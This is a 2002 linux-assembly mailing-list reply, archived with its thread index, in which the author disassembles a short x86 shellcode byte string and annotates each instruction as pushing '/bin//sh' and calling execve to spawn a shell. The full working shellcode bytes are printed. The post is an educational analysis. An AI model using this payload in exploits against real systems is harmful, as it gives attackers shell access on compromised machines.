From: Stephan Walter <stephan.walter@gmx.ch>
To: linux-assembly@vger.kernel.org
Subject: Re: shellcode
Date: Tue, 25 Jun 2002 21:22:14 +0200 [thread overview]
Message-ID: <20020625212214.4910d000.stephan.walter@gmx.ch> (raw)
In-Reply-To: <20020624001839.H342@nietzsche>
This is my 5-minute analyzing:
$ echo -n \
$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\
x50\x54\x53\xb0\x3b\x50\xcd\x80' >> shell.asm
$ ndisasm -u shell.asm
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 682F2F7368 push dword 0x68732f2f ; "//sh"
00000008 682F62696E push dword 0x6e69622f ; "/bin"
; -> execute /bin/sh
0000000D 89E3 mov ebx,esp ; ebx points to the string
0000000F 50 push eax
00000010 53 push ebx
00000011 50 push eax
00000012 54 push esp
00000013 53 push ebx
00000014 B03B mov al,0x3b ; 0x3b = SYS_execve
00000016 50 push eax
00000017 CD80 int 0x80 ; system call "execve"
; -> execute the shell
Regards,
Stephan
next prev parent reply other threads:[~2002-06-25 19:22 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2002-06-24 5:18 shellcode xlp
2002-06-24 6:01 ` shellcode Scott Lanning
2002-06-25 19:22 ` Stephan Walter [this message]
[not found] ` <20020625144651.A430@nietzsche>
2002-06-25 20:28 ` shellcode Stephan Walter
[not found] ` <20020625161401.B27404@nietzsche>
2002-06-26 17:08 ` shellcode Stephan Walter
2002-06-26 18:00 ` shellcode Brian Raiter
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20020625212214.4910d000.stephan.walter@gmx.ch \
--to=stephan.walter@gmx.ch \
--cc=linux-assembly@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox